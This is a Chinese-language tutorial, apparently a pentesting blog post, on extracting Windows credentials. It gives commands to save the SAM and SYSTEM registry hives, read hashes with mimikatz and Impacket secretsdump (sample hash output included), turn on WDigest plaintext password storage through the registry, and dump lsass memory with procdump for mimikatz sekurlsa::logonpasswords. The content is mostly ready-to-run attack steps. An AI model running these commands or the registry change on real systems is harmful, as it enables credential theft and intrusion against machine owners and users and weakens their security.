前言
Windows对每个用户生成密码的hash值,数据存储在注册表的HKLM\SAM中。密钥存储在HKLM\SYSTEM中。
离线读取sam数据库
导出sam数据库
reg save HKLM\SYSTEM c:\SYSTEM
reg save HKLM\SAM c:\SAM
mimikatz读取hash
将SYSTEM,SAM文件放在和mimikatz.exe同一目录下
lsadump::sam /sam:sam /system:system
secretsdump读取hash
secretsdump.exe -sam sam -system system LOCAL
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x7dc8b620d9652cc82c3b6ff15bf172ca
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b3988836eda9af945663fb46e847bffd:::
lion:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
[*] Cleaning up...
目标机器直接读取
在管理员权限下启动mimikatz
privilege::debug
token::elevate
lsadump::sam
procdump进行内存转储
微软维护工具,主要使用它来进行内存转储。Windows在运行的时候不能复制SYSTEM和SAM文件。该方法只能在Window 2003、Windows 2008、Windows 2008 R2,且没有打补丁(KB2871997)的情况下可以获取该系统在未清理内存(意为未重启)时存储的登录信息凭证。Windows 2012及以上版本需要开启注册表记录明文密码,方可转储。
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
procdump下载,下载完后,管理员权限下,使用以下命令导出dmp文件
procdump.exe -accepteula -ma lsass.exe c:\lsass.dmp
将lsass.dmp放在和mimikatz.exe同一目录下,执行以下命令获取密码
privilege::debug # 设置权限
sekurlsa::minidump lsass.dmp # 选择要读出的内存文件
sekurlsa::logonpasswords # 获取密码